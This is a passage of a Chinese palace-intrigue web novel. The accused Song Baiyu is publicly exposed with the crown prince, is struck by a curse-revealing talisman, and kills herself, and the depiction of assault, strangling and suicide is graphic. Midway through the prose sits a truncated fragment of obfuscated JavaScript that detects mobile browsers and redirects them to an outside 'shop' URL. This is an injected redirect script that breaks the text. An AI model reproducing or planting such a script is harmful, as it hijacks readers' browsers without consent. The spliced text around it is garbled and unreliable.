与此同时,那些原本听了皇帝的话,在太液池边散步赏玩的贵女命妇,纷纷被夜空中那奇异的灵光丝线所吸引。
“那是什么?亮晶晶的,好像在动?”
“似乎是姜司主在施法……莫非又发现了什么邪祟?”
“快去看看!”
人群窃窃私语,好奇与不安交织,循着光芒而来。
或是跟在云昭与萧启的队伍之后,或心急地直接沿着丝线指引前行,纷纷朝着凝辉堂聚拢。
赵悉步履匆匆,几乎是跑着折返麟德殿,快步凑近御前:
“陛下,秦王殿下与姜司主方才在太液池旁,意外发现了桃花咒案的重大线索,灵光显形,直指……凝辉堂方向!
事关重大,恐生变故,还请陛下速移圣驾,亲临现场察勘!”
……
夜色中,那灵光丝线格外醒目。
安王妃作为宗室命妇,多次入宫,对宫闱路径比云昭熟悉得多,她带着人穿廊过径,很快便循着方向找到了凝辉堂。
身旁的老嬷嬷认出此地,面露难色:“王妃,这是凝辉堂,听闻今夜太子殿下就在此歇息……”
安王妃脚步一顿,眸中却闪过一抹玉石俱焚般的狠绝与疯狂!
太子又如何?
只要能找到害她倩波的元凶,拿到证据,今日便是**老子在里面,她也闯定了!
她迅速做出决断,对一名心腹丫鬟厉声吩咐:“你速速出宫,让府里人立刻将郡主抬进宫来!就说……本王妃今日有滔天冤屈,要叩阍告御状!
若有人敢阻拦,就不必顾忌,直接去敲登闻鼓!”
她夫君是手握重兵的护国大将军,她出身河东薛氏,背后有父母族人扶持,今日就算拼却性命不要,也要为女儿讨回公道!
随后,她转向身后两个膀大腰圆的粗使婆子,眼中寒光凛冽:“给我把门撞开!打进去!任何后果,本王妃一力承担!”
“砰——!”沉重的殿门被猛烈撞击的声音,在寂静的夜晚显得格外惊心。
凝辉堂内,太子嫌宋白玉声音刺耳,扰了兴致,抬手便是两个极其响亮的耳光,力道狠辣。
宋白玉被打得耳中嗡嗡作响,眼前金星乱冒,一阵头晕目眩。
就在这时,门外忽而传来“嘭——!”的一声巨响,似乎是门闩断裂的声音!
随即,一个女子愤怒到极点的急躁喊声穿透殿门,清晰地传了进来:“给我砸!”
太子从前在东宫行事,素来不喜有人近前打扰,都是由心腹拂云带着宫人侍卫远远守着。
今夜在这凝辉堂偏殿更是如此!
他只让拂云带着几名亲信侍卫,守在后院相距最远的一处凉亭等候吩咐。
此刻乍然听到有人如此粗暴地打上门来,太子惊得浑身重重一抖,身下如被冰水浇熄,传来一阵令人恐慌的冰凉……
上一次因为灵峰那个废物办事不力,他便受了惊吓,落下了些难以启齿的毛病。
今夜在此紧要关头又被惊吓,太子只觉那处是彻底不听使唤,再无半点反应!
他下意识地伸手抚去,触手一片死寂的冰凉,心中顿时被无边的恐惧和暴戾填满!
“该死的东西!”太子浑身散发着骇人的冷戾之气。
宋白玉用尽全身残存的力气,猛地一把将他推开,也顾不得浑身狼狈,手脚并用地就要朝门口光亮处爬去,寻求一线生机。
太子恼羞成怒,从后头一把狠狠揪住她散乱的长发,力道之大,几乎要将头皮扯下!
同时迅速扯下腕间挂着的一枚小巧银哨,放在嘴边,鼓足力气用力吹响!
“咻——!”尖利刺耳的哨音划破凝辉堂的夜空。
后院凉亭处的侍卫听到这代表“紧急事态”的哨音,立刻拔出腰间佩刀,朝着偏殿方向急速围拢过来——
下一瞬,便被秦王布下的人手尽数拿下!
唯有拂云在小厨房煎药,暂且逃过一劫。
然而,就在这电光火石之间——
“轰隆!”
凝辉堂偏殿那扇沉重的殿门,终于被安王妃带着的仆妇从外间合力猛地撞开!
数盏明亮的灯笼瞬间将室内照得亮如白昼,将所有不堪与狼藉暴露无遗!
灯火通明,四目相对——
安王妃清晰瞧见,在灯笼的映照下,那道灵光丝线虽然有些暗淡,却依旧清晰地指向眼前二人!
刹那间,新仇旧恨齐齐涌上心头!
安王妃只觉得一股滔**火直冲脑门,烧得她理智全无!
她手指颤抖地指向太子,声音因极致的愤怒而尖利得变了调,什么皇家体统、君臣礼仪全都抛到了九霄云外:
“好啊!好啊!原来是你!是你这个披着储君皮囊的衣冠禽兽!还有你这个不知廉耻的小**!
竟然是你们两个狼心狗肺的东西合起伙来,用这等下作龌龊的手段陷害我家倩波!害得她含冤莫白,至今昏迷不醒!
你们……你们这对狗男女!不得好死!”
宋白玉眼见乌泱泱一群人涌了进来,无数道目光落在她未着寸缕的身躯上!
而太子还死死揪着她的头发,逼迫她不得不抬起头来,迎视着安王妃的目光!
她顿时发出一声凄厉至极的惨叫,涕泪横流地哭喊道:
“安王妃救我!是太子殿下!是他强行将我掳来此处,是他对我用强!我……我是无辜的啊!”
“无辜?你还有脸说无辜?!”安王妃此刻哪里听得进半分辩解!
她如同被激怒的母狮,猛地冲上前,对准宋白玉那张雍容的脸蛋左右开弓,只听“啪啪”两声,两个用尽全力的嘴巴扇了上去!
“我家倩波到底何处得罪了你这个毒妇!竟让你用这等阴毒手段毁她清白,要她性命!你还我倩波的命来!你还我女儿!”
安王妃悲愤交加,竟不管不顾,一把扑倒在宋白玉身上,双手如同铁钳死死掐住了对方脖颈,眼中是滔天的恨意与疯狂,看样子竟是要将宋白玉当场掐死!
宋白玉被掐得双眼翻白,呼吸困难。
也不知是受刺激太大,还是破罐子破摔,她一边挣扎,一边竟朝着安王妃的脸上狠狠啐了一口,用尽最后力气嘶声尖叫道:
“她何处得罪了我?哈哈哈哈!她敢对秦王殿下不安好心,处处搔首弄姿,妄图染指!
她就是个不知廉耻的**!她活该!她活该**——!!”
然而话音未落,先前沿着灵光丝线一路走到这里的命妇贵女、宗室亲王……循着声音一路走了进来。
刚好将宋白玉情急之下吐露的心声听个正着。
也将站在一旁衣襟大敞、行迹浪荡的太子看了个正着!
安王妃猛地转向身后闻讯赶来的宗室亲王、命妇贵女:“诸位都看看!这就是我们大晋的储君!这就是未来的一国之君!<
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br>白日里道貌岸然,夜里却行此苟且之事,还要构陷忠良之后!我安王府到底做了什么孽,要遭此横祸!”
她目眦尽裂,转头看向众人,赌咒发誓道:“今日我拼着这项上人头不要,也要奏请陛下,彻查到底!
否则,我安王府——绝、不、罢、休!”
太子几乎被安王妃这劈头盖脸的指责给骂懵了!
他原以为,安王妃撞破他与宋白玉在此私会,顶多觉得他之前求娶南华郡主的心思不纯,斥责他几句品行不端。
他万万没想到,这妇人竟像条疯狗一样,直接就将南华郡主中咒昏迷这口黑锅,扣在了他和宋白玉的头上!
为了那个蠢钝如猪的南华郡主,这安王妃简直是疯魔了!
可紧接着太子就意识到不对,他方才明明吹响了银哨,那些本该立刻出现的东宫侍卫,此刻却如同石沉大海,毫无动静!
太子猛地抬手捂住心口,气息微弱地呻吟道:“快传御医!孤心口好痛……怕死余毒未清……”
话音未落,他已扶着桌案,慢吞吞“软倒”在地,一副随时可能昏厥过去的模样。
然而,在场众人挤在门口,竟无一人敢上前搀扶!
倒不是众人皆觉得太子品行不端已到了令人发指的地步,他们本是循着那奇异的灵光丝线来看个热闹,谁能想到,竟直接吃到了皇室惊天巨瓜!
所有人都被这急转直下的剧情震得头皮发麻,一时竟不知该作何反应,全场陷入一种诡异的死寂和懵然之中。
人群后方,骤然传来一道威严沉肃、隐含雷霆之怒的声音:
“怎么回事?太子身中剧毒,理应在凝辉堂正殿好生休养,怎会无故来到这偏僻侧殿?”
紧接着,是女官拂云难掩慌乱的辩解:“回禀陛下,殿下醒来之后,听闻姜奉仪在偏殿歇息,心中挂念,便说想过来瞧一眼。臣也不知,怎就成了这般模样……”
她的话语含糊其辞,却巧妙地将太子的异常,推到不见踪影的姜绾心和本不该出现在此的宋白玉身上。
太子倒在地上,听着拂云机敏地为自己遮掩,心中不由稍稍一松。
他勉力将眼缝睁大一丝,朝着那抹明黄色的身影伸出手:“父皇……”
然而安王妃那更加凄厉的叫喊已瞬间盖过了所有!
她猛地扑跪在皇帝脚边,重重叩首,额角瞬间一片青红:
“求陛下为我家倩波做主啊!
太子殿下他竟与宋家嫡女联手,布下那阴损的桃花咒!害得我儿倩波吐血昏迷,至今未醒!
陛下今日若不能给我陆家一个交代!妾也无颜活在这世上了!妾今日就撞死在这殿柱之上,随我家倩波去了算了!”
几乎是同时,蜷缩在角落的宋白玉也爆发出惊人的哭喊:“臣女是被太子殿下强行掳来此处的!是殿下欺侮了臣女!臣女没脸活了!求陛下赐死!”
皇帝看着眼前这混乱不堪、哭嚎震天、丑态百出的场面,听着耳边嗡嗡作响的指控与哭诉,只觉眼前一黑,身形不由自主地晃了晃。
他今夜办的这劳什子宫宴,到底是触了什么天大的霉头!
怎么这麻烦一桩接着一桩,而且千丝万缕,竟全都与太子脱不了干系!
皇帝第一次生出了废太子的念头:
或许当初就该听皇姐的,皇后品行不端,她生的儿子,本不该被立为太子!
第181章 红着脸、含着泪,求他帮忙
彼时,姜绾心心如火烧,一路疾行,只想立刻冲回麟德殿,将那惊天的秘密告知母亲。
然而当她气喘吁吁地赶至大殿侧门,向内望去时,脚步却猛地顿住了。
她看见自己的母亲,正姿态卑微地跪在孟贵妃面前伺候。而孟贵妃脸色显见不虞,随手就将一柄小巧的玉勺拂落在地。
梅柔卿依旧维持着那副顺从的姿态,徒手将那些碎玉一点点拾起。
那画面,刺得姜绾心眼睛生疼。
若放在从前,她或许只会觉得贵妃喜怒无常,不易讨好;
但经过了方才在凝辉堂窗外偷听到的隐秘,姜绾心只觉一股邪火猛地窜上了心头!
她不由想起了之前在碧云寺……
那时她因心仪太子,每每见到地位尊崇、又与太子关系亲厚的表姐贵妃,是何等的曲意逢迎,百般讨好!
现在想来,那时的孟贵妃,肚子里恐怕早已怀着太子的孽种!
她是不是内心得意得很,冷眼看着自己像个跳梁小丑般,在她面前卑躬屈膝?
姜绾心伸手轻抚上自己尚且平坦的小腹……现如今,她也怀了太子的骨肉!
可贵妃呢?她敢将腹中孩儿真正的父亲公之于众吗?
她当然不敢!
一旦这个秘密泄露出去,等待她和孟家的,将是抄家灭族、万劫不复的滔天大祸!
真是风水轮流转!
有朝一日,竟也让她姜绾心拿捏到了这位贵妃娘娘天大的把柄!
这滋味……当真是畅快!
守在大殿侧门的侍卫,目光锐利朝姜绾心看来。
两个侍卫自然是认得姜绾心的。
经过了今晚麟德殿上那石破天惊的一幕,试问在场还有谁不知晓这位主动向太子献身、凭借身孕暂获名分的姜家二小姐?
姜绾心却在对方目光扫过来的瞬间,匆匆转身,沿着来时的路快步离开了。
母亲此刻正在贵妃面前忍辱负重,她若贸然出现,难保不会引起贵妃的怀疑。
她现在有了孩子,行事必须谨慎,绝不能因一时冲动而坏了大事。
姜绾心刚走出一段路,就听身后传来一道熟悉而焦急的呼唤:“心儿!”
她蓦然回首,只见兄长姜珩正快步向她走来。
此时的姜绾心尚且不知,就在她匆匆离开凝辉堂不久,太子便命拂云前去寻她,意图召她侍寝。
紧接着,就发生了云昭和萧启目睹太子与宋白玉“亲密”的那一幕……
而在她紧赶慢赶折返大殿的路上,觉得大殿憋闷无聊的玉珠公主,强行拉着姜珩偷溜了出来。
姜绾心瞧见姜珩,满腹的委屈、惊惶,与刚刚滋生的那点隐秘畅快交织在一起,化作滚烫的泪水,瞬间盈满了眼眶。
姜珩亦是眼眶泛红,几步冲到近前!
看着她泪痕未干的小脸,他声音哽咽:“心儿……你受苦了。”
他急切地追问,“妹妹此刻不是应该在凝辉堂陪伴太子殿下吗?怎的一个人深夜在此奔走,可是遇到了什么难事?”
姜绾心摇了摇头,正想开口说些什么,就听一个带着异域腔调、满是兴味的声音自身后响起:
“你们兄妹两个,感情可真好啊。”
玉珠公主慢悠悠地跟了上来,双臂环胸,饶有兴致地打量着这对“兄妹”。
她阅男无数,眼光毒辣,如何看不出,这姜珩瞧着姜绾心的眼神,炽热中带着痛楚,怜惜中藏着占有欲,半点也不清白!
更有意思的是,这姜绾心似乎也并不排斥。
那边才刚攀上太子,珠胎暗结,这边对着自家兄长,却是一副欲语还休的黏糊模样。
这姜家……还真不是一般人能消受的地方。
三人间的气氛正微妙着,却见许多贵女命妇,正陆续从麟德殿内走了出来,三两结伴,言笑晏晏地朝着太液池的方向走去。
远远的,依稀能看见一脉流动的晶亮光华,在沉沉的夜色中格外显眼,似乎那边正在举办什么新的余兴节目。
玉珠公主本就是出来寻乐子的,见有热闹可瞧,当即也顾不得这対奇怪的“兄妹”了,兴致勃勃地便随着人流赶了过去。
姜珩见状,不由大大松了口气。
这位番邦公主有多难缠,经过这一晚的“贴身陪伴”,他可是深有体会。
眼见她终于被别的事物吸引离开,他忙转向姜绾心:“妹妹,时辰太晚了,我先送你回凝辉堂吧。”
姜绾心轻轻颔首,心中却在飞速盘算着。
她与姜珩并肩朝着凝辉堂的方向走去,一边抬起泪眼朦胧的美目,声音又轻又软,充满了依赖:“今夜,多亏了兄长在陛下面前为心儿说话……”
姜珩神色一黯,停下脚步,语气里充满了自责与无奈:“我如今人微言轻,在陛下面前也说不上话,本也没能帮上你什么忙。
但你是我看着长大的妹妹,我怎会认不出你?又怎能眼睁睁看你受委屈?”
姜绾心看着他望着自己时,眼底那几乎要溢出来的浓烈情意与疼惜,心头不由微微一动。
她顺势轻轻拉住姜珩的衣袖,娇声软语:“兄长,心儿虽然侥幸得以暂入东宫,得了个奉仪的名分,可到底位份低微,根基浅薄。
在这**的后宫里,无异于无根的浮萍,朝不保夕。
若是……若是心儿接下来遇到什么过不去的坎儿,走投无路之时……”
姜珩闻言,胸口剧烈起伏,一股保护欲混合着长久压抑的情感汹涌而上!
他几乎毫不犹豫地打断她,斩钉截铁地承诺道:
“心儿放心!只要有兄长在一日,只要是你开口,无论是什么事,哪怕是刀山火海,兄长也一定会想尽办法,帮你到底!”
他目光灼灼,语气坚定无比,似在许下重于泰山的誓言。
然而,此时的姜珩绝对想不到,就在不久之后,姜绾心真的会红着脸、含着泪,羞怯而又绝望地来求他帮忙。
而所求之事,足以让知晓内情者瞠目结舌,大呼荒唐!
当兄妹二人磨磨蹭蹭地赶回凝辉堂时,却被眼前的景象惊得呆立当场——
只见整个院落灯火通明,乌泱泱地围满了身着甲胄的大内侍卫,以及众多面色凝重的勋贵官员,气氛压抑得令人窒息。
待他们奋力挤过人群,堪堪走到偏殿门边,恰好听到里面传来安王妃凄厉的指控,看到拂云跪在皇帝面前浑身颤抖的模样。
电光火石间,姜绾心脑中念头飞转,意识到这是一个绝佳的机会!
她当即把心一横,猛地拨开挡在前面的人,挤到人前,用一种带着哭腔的嗓音高声道:
“陛下!妾身可以作证!今晚这一切,都是宋白玉的阴谋!是她居心叵测!”
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这一声石破天惊的指证,如同在滚沸的油锅里泼进了一瓢冷水,瞬间让原本就混乱的场面炸开了锅!
在场所有人的目光,齐刷刷地聚焦到了这位语出惊人的姜奉仪身上。
此前一直冷眼旁观语的云昭,在看清姜绾心身影的瞬间,眸中便闪过一丝了然。
她已猜到了姜绾心接下来想要做什么。
姜绾心有些时候确实急躁,但她也没那么蠢。
碧云寺佛诞日那天,她被突然暴起的南华郡主划破脸颊,之后又得宋白玉送上特制药膏……
回到府中当晚,她身上就起了那等诡异的恶诅。
如今听了安王妃指控,她心中怎会没有猜测?
况且,就算不为旧怨,单只为了保全跟随太子殿下的荣华富贵,姜绾心也会毫不犹豫地挺身而出,将所有罪责推到宋白玉身上!
不过,在云昭看来,这宋白玉与姜绾心,两个都不是什么好东西。
她自然也乐得暂且清闲,稳坐钓鱼台,静观这场狗咬狗的好戏。
姜绾心“噗通”一声跪倒在皇帝面前,未语泪先流:
“陛下明鉴!妾今夜原本遵照旨意,在这偏殿等候太子殿下消息。谁知忽听门外传来一阵极其怪异动静!
妾心中害怕,刚打开门查看,便眼前一黑,什么都不知道了……”
说到此处,她恰到好处地哽咽了一下,楚楚可怜地继续道:
“待妾身悠悠转醒,竟发现自己已然身在殿外的花丛之中!
妾不明所以,但第一反应便是有歹人作祟,会对太子殿下不利!这才不顾自身狼狈,匆匆赶回。
谁知刚到此处,便听闻殿下他竟然被宋姐姐……”
云昭简直要听得笑出声。
这个“被”字,用得可真是妙到毫巅!
太子堂堂七尺男儿,竟能“被”宋白玉一个弱质女流如何?
然而一旁的女官拂云却连声附和:“陛下!正是如此!
我等都以为在偏殿的是殿下和姜奉仪,是以听到些动静,也不敢贸然打扰!
实在不知这殿内之人,如何就变成了宋小姐!”
且不论太子在此事中是否全然无辜,宋白玉身为宰相嫡女,不在麟德殿参与夜宴,也不在太液池旁散步赏荷,却悄无声息地出现在太子养病的凝辉堂偏殿——
这本就是一件引人遐思的怪事。
皇帝脸色沉凝如水,目光在几人身上缓缓扫过。
他示意身旁的内侍取来一件外裳,给蜷缩在角落的宋白玉披上,这才沉声开口:
“宋白玉,你告诉朕,你今夜,为何会出现在凝辉堂偏殿?”
宋白玉如同惊弓之鸟,连连摇头:“她在说谎!陛下!姜绾心在说谎!我根本没有打晕她!
我会出现在这里,实在是因为……是因为……”
宋白玉似有难言之隐,几次想要辩解,却又一时语塞,仿佛不知该如何说起。只用一双含泪的明眸,睇向以维护姿态站在云昭身畔的秦王。
萧启却被这眼神恶心坏了。
他侧过肩,往云昭身后站了站,那仍是个将人圈在怀中的维护姿势,只是瞧着倒隐有几分撒娇的意思。
宋白玉将萧启的动作看得清清楚楚,眼睛当即红了。
可想到自己此刻处境,分明已配不上爱慕多年的男子,不由当场淌下两行清泪。
第182章 永世孤寡,不得善终!
太子见状,挣扎着想要起身,一副虚弱却又强撑责任的模样:
“父皇,此事关乎宋小姐的清白名节,千错万错,都是孩儿的错。本该由孩儿一力承担,也好给宋相一个交代。”
他目光似是不经意地扫过人群,却迟迟不见宰相宋志远的身影,太子眸光微微闪动,继续说道:
“孤醒来之后,心中记挂姜奉仪与她腹中孩儿,便想着来偏殿瞧她一眼。
走进殿内,见里面没有点灯,一片漆黑,还以为姜奉仪因有孕嗜睡,已然歇下了。
谁知忽而被人从身后紧紧抱住,宋小姐一直在耳边诉说她爱慕已久,情难自禁。
孤身上余毒未清,浑身乏力,一时挣脱不得,再兼宋小姐她一再主动……孤一时糊涂,未能把持得住……”
太子说到这里,似有些难以启齿地停顿了片刻,又接着道:
“此事孤身为男子,本该负起责任,不敢推诿。”
他看向安王妃,脸上露出恰到几分茫然,“至于安王妃方才所言,什么桃花咒案,什么真凶帮凶,孤是真的听不懂。
孤实在不明白,为何安王妃要认定宋小姐就是害南华郡主的真凶,还要将孤也牵扯进去……”
安王妃闻言,气得浑身发抖:“陛下!方才在太液池边,人人都看得清清楚楚!
那亮晶晶的的光线,就是从姜司主手上提着的竹篮中溢出,分明指向凝辉堂的方向!
那竹篮里盛放的,全是此前从各处收揽来的桃花符咒,与我家倩波之前所得一模一样,妾绝不会认错!”
她又猛地转向一直静立旁观的云昭,语气急切甚至带着一丝哀求:
“姜司主!你倒是说句话啊!
我说的是也不是?那灵光指引,是不是直指这凝辉堂偏殿!”
皇帝的目光也随之投向云昭。
云昭朝皇帝行了一礼:“回陛下,微臣不敢欺瞒,方才在太液池边,臣手中竹篮内的桃花符咒,确因感应到同源咒力而被激发。
今夜十五月圆,太阴之力最盛。符咒显出微弱的指引灵光,说明这下咒之人,应当就在附近。
臣与秦王殿下察觉异状,为查明真相,这才商定循着灵光微芒,尝试追索,以期找到幕后之人。”
这时,人群中有质疑的声音响起:“也就是说,姜司主此法,并不能确定灵光指向,就是真凶?”
“单凭一点灵光,就要指认当朝宰相之女行此巫蛊厌胜之术,未免太过草率!”
“此等灵异之事,终究是玄之又玄,难以取信于人!”
不等云昭开口辩驳,救女心切的安王妃已抢先道:“陛下!从前在碧云寺,姜司主就曾断言,只有找到下咒的幕后真凶,彻底破除咒术,我家倩波才有一线生机!
姜司主,如今既已有了怀疑对象,我恳求你无论如何,暂且一试!”
她说着,又重重朝着皇帝叩首:“陛下!妾身已命家仆火速回府,将倩波接来宫中!
恳请陛下看在安王府素来忠心的份上、看在倩波也是您看着长大的情面上,开恩允准姜司主当场一试!
若果真揪出真凶,便是天网恢恢;若非真凶,也好还宋小姐一个清白!”
宋白玉就在眼前,而不远处的人群之中,依稀可见闻讯匆匆赶来的几位苏家人,云昭当然想借此机会一试!
但安王妃此人委实难缠,云昭并不想应她的恳求,徒惹一身腥。
“陛下,臣有一法,或可当场验明正身,试出宋小姐到底是不是施咒之人。”
她又看向安王妃:“一切有言在先。南华郡主此前中咒太深,魂魄已损。
即便今日彻底解开桃花咒,郡主可以苏醒过来,其心智也恐难恢复如初。大约……只会如同六七岁的稚童。”
安王妃身体剧震,但她仅仅迟疑了一瞬,便决然道:“总好过她就此长睡不醒,生机断绝!
当日在碧云寺,闻空大师曾说,若就此拖延下去,倩波就可能永远也醒不过来了!
本王妃愿意一试!只要我的倩波能睁开眼,哪怕她痴了傻了,我也认了!我养她一辈子!”
“好!”
不等宋白玉尖叫或是反驳,云昭倏然抬手,指尖不知何时已夹住一道色泽暗金的符箓。
她抬首一指,符箓无火自燃,化作一道凝而不散、蕴含着破邪净祟力量的清圣金光——
那金光在半空盘旋片刻,宛如一道灵火,忽而精准朝向宋白玉的方向!
随即在众人或震惊、或疑惑的目光中,倏地没入宋白玉的眉心印堂!
紧接着,在场众人惊骇地看到,宋白玉先是浑身一僵,随即双颊不受控制地泛起极其妖异的桃花色泽。
那桃色迅速蔓延、加深,不过眨眼功夫,宋白玉原本略显苍白的脸,已艳如晚霞,甚至隐隐透出一股怪异的黑气!
她双眼暴突,喉咙里发出“咯咯”的怪响,猛地一张口,“哇”的一声喷出一大口浓黑腥臭的瘀血!
众人见状一时瞠目结舌:
“竟然真是她!!!”
“宋小姐莫不是疯了?”
而与此同时,才与宋白玉有过肌肤之亲、气息相连的太子,仿佛被无形的重锤击中胸口,浑身剧烈地颤抖起来。
他发出一声凄厉的惨叫,双眼翻白,当场直挺挺地昏死过去!
“鉴儿!”
皇帝虽然恼怒这个儿子不成器,可眼见他在自己面前如此惨状,也是吓了一跳,连忙喊道:“章太医!”
他又急切地看向云昭,“爱卿,快,快帮太子看看!”
忙了一整个晚上的章太医脚步都有些虚浮了,却不敢怠慢,快步上前。
云昭也依言走近。
二人各自握住太子一只手腕的脉搏,凝神细探。
只一触脉,经验丰富的章太医便紧紧皱起了眉头。
云昭则心头微动——
太子元阳泄尽,根基大损!
更重要的是,阴损的咒力反噬,混合着他体内未清的余毒,已然彻底毁坏了他的生育根本。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805471|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>二人对视一眼,皆从对方眼中看到了凝重。
章太医几不可查地微微摇了摇头,随即起身,朝皇帝拱手道:“陛下,殿下体内‘鸠羽红’余毒未清,此番受了极大的惊吓与冲撞,以致元气大伤,阴阳失调。
眼下极需绝对静养,万不能再受任何刺激了。”
多余的,竟一字未露。
云昭自是知道太医院的规矩。在宫中行走,自然要懂得,什么话能说,什么话不能当众说,什么话,就是烂在肚子里也绝不能说。
她也起身,朝皇帝行了一礼,顺着章太医的话道:“章太医所言极是。殿下接下来务必要精心调理,恢复元气。”
二人所言听起来并不矛盾,都指向太子身体虚弱需要休养。
是以皇帝听了,虽心中焦虑,一时也未作深想,只连连催促:“快将太子抬回正殿,好生看护!”
侍卫们连忙上前,将这次真的彻底昏死过去的太子,小心翼翼地抬出了这片是非之地。
在众人注意力转移的刹那,云昭清晰地看到,章太医垂下的眼底,闪过一抹深浓的无奈与惋惜。
确实,太子今年,好像也就二十一岁?
从今往后,在房事之上是再难有为了,而且子嗣缘分,彻底断绝!
云昭垂下眼帘,掩去眸中一闪而过的寒芒。
不管当初到底出于什么缘故,他与玉衡合谋,害死清微谷满门。
只是让他从此**,再无后嗣,怎么够?
太子的苦日子,还在后头呢!
一旁的宋白玉却在这时,猛地站起身!
那双明媚的眸子此刻亮得惊人,燃烧着一种毁灭一切的火焰。
清白已失,名节尽毁,众目睽睽之下,她已丢尽了所有颜面与尊严!
一心倾慕之人心性孤傲,品行高洁,断然不会再接受名节有瑕的她!
她活着还有什么意思?
宋家世代簪缨,父亲宋志远将家族声誉看得比性命还重——
宋家,是绝不可能再认回她这个让家族蒙上奇耻大辱的女儿了!
她抬起手,用牙齿狠狠咬破自己的食指指尖,殷红的血珠瞬间涌出。
随即就着那涌出的鲜血,飞快地在自己的额头上画下一个扭曲的印记!
她仰起头,声音嘶哑凄厉,如同夜枭啼血,一字一句,诅咒道:
“皇天在上,后土在下!我宋白玉今日立下血咒!
“今日害我失去清白性命之人,我咒你所求皆妄,所爱皆离,永世孤寡,不得善终!”
说完,不等任何人反应过来,她猛地转身,朝着身旁那坚硬的蟠龙石柱,狠狠地撞了过去!
“砰——!”
一声闷响,颅骨碎裂的声音清晰可闻。
鲜血如同妖异的红梅,瞬间在石柱上迸溅开来。
宋白玉的身体软软地滑倒在地,额头那个血印在鲜血的浸润下显得格外刺眼。
她双目圆睁,瞳孔涣散,却依旧死死地盯着前方某处,带着无尽的怨恨与不甘!
第183章 她对萧启有情
云昭眸光清冷,静静注视着躺在地上死不瞑目的宋白玉。
她的父亲,当朝宰相宋志远,就隐身在那群震惊的朝臣之中;
她那些尚未出阁的同族姊妹,也在命妇群中惶惶不安地看着。
宋白玉宁可撞柱自尽,将一切伪装成被当众捉奸后不堪受辱的假象,也绝不肯供出萧启之名、道出桃花咒案的原委——
一则,因她对萧启有情,更有着自己的清高与决绝,故而不肯当众自剖心事;
再则也是更重要的,是为保全她身后的宋氏满门!
若她当真当众道出原委,也就坐实了诅咒皇族、意图不轨的罪名,那等待整个宋家的,将是万劫不复的深渊!
她用死亡,为家族斩断了被牵连的可能,也保全了姊妹们未来的姻缘前程。
一位宋氏族人面色悲戚,缓缓走出人群,为宋白玉披上一件素白外袍,试图遮掩那满目狼藉。
人群中忽然传来几声惊呼:“宋相!”“爹爹!”
众人循声望去,只见当朝宰相宋志远面如金纸,身体晃了晃,竟似受不住这巨大打击,当场昏厥过去。
这时,一位身着紫袍的官员越众而出,拱手对皇帝道:“陛下!桃花咒一案错综复杂,幕后真凶未必就是宋小姐!
然姜司主却借用玄术,当众逼迫,致使宋小姐不堪受辱,愤而自戕以证清白……此举未免酷烈,有失朝廷体统!”
另一名御史也附和道:“陛下,仅凭术法牵引便断定真凶,是否太过武断?如今宋小姐已死,证据也断了……”
不少官员随之附和,言语间皆是对宋家的维护与对云昭行事的不满。
云昭闻言一笑:“既然诸位大人认定宋小姐这般冤屈,方才她百口莫辩时,怎不见有人上前,为她慷慨陈词,辩白一二?”
那为首的紫袍官员眼神瞬间闪烁,一时语塞。
云昭言辞如刀,寸步不让:“只因诸位心知肚明,宋小姐不仅名节已失,更与那害人无数的桃花咒案脱不开干系!
尔等方才不敢开口,是怕惹祸上身!
如今眼见人死灯灭,真相或将随之湮没,便一个个又‘正义’上身,开始‘仗义执言’了!”
这番话语辛辣刺骨,先前那几个出声为宋家说话的官员,个个面红耳赤,羞愤难当。
有人忍不住斥道:“你一介女子,言辞如此尖酸刻薄,全无女子温婉妇德,成何体统!”
又是这番斥责身为女子就该如何如何的说辞!真是听得人耳朵都起茧了!
云昭傲然道:“不错,我是女子!但我更是陛下亲封的大晋玄察司主,朝廷命官!
在其位,谋其政!我若只拘泥于所谓‘妇德’,便该安守内宅,绣花扑蝶,又何须踏出深闺,追查冤情,寻觅真相!”
她目光如电,看向对方,“倒是诸位,不见关心案情进展,追查真凶,反倒在此一味与我这查案之人为难!
在你们心中,宰相之女死得可怜,令人惋惜。
那些被桃花咒害得家破人亡、无声湮灭的平民女子,她们的性命便轻如草芥,不值一提吗?!”
此时,一直沉默旁听的赵悉再也按捺不住!
他踏步上前,面向众人道:“诸位大人!桃花咒一案,受害者岂止昏迷至今的南华郡主!
据玄察司与京兆府统计,京郊清水村、杨柳村等地,已有七名少女因佩戴桃花符昏迷不醒,家人误以为气息全无,竟已草草掩埋!
此外,更有不下二十户人家,因夫君被妾室、外室或心怀不轨之人,使用了‘同心符’,导致丈夫性情大变,夫妻失和,家庭破碎!
其中,被丈夫休弃者三人,投缳自尽者三人,更有一黄姓妇人并一何姓妇人,被丈夫活生生殴打致死!
此咒阴毒,毁人家庭,害人性命,桩桩件件,皆有据可查!”
此言一出,在场众人无不感到一股寒意从脊背窜起!
因此案此前一直由玄察司秘密督办,京城众人虽知前段时日京兆府曾大张旗鼓收缴符咒,却万万没想到,这些看似不起眼的符纸背后,竟隐藏着如此多条无辜性命!
桃花咒一案,可不是贵女之间嬉闹的小小把戏,而是任何时候朝廷绝不会轻纵的大案要案!
站在命妇之中的承义侯夫人,也跟着脸色大变,下意识紧紧抓住身旁好友的衣袖,指尖冰凉。
她不由得想起那日在碧云寺,若非恰逢云昭在场,点破关窍,而她也为保小命,不顾脸面,当场交出了那枚求来的“同心符”……
今日那些家庭失和、乃至因此殒命的名单中,会不会也有她的名字?
皇帝闻言,目光沉凝,审视地看向那挑头对云昭发难的几位官员。
他对案情内幕自然知晓,但在真相大白之前,为免引起朝野恐慌,一直未曾将细节公之于众。
今夜这几人当众对云昭发难,分明是宋相**,一心想将宋家从此案中摘清,反污姜云昭办案急躁手段酷烈。
没有皇帝不忌惮相权,没有皇帝不提防世家!
这几个人今夜此举,实实在在戳到了皇帝心头最敏感的地方。
而那“晕倒”在地的宰相宋志远,虽双目紧闭,花白的胡须却禁不住微微颤动。
显然在此之前,他也全然不知,自己一向引以为傲的女儿,竟牵涉进如此骇人听闻的案件之中!
这时,戴着面纱的荣听雪忽而开口道:“方才这宋小姐临死前,曾以血为引,口念咒言……可见,她确是懂得咒术的。”
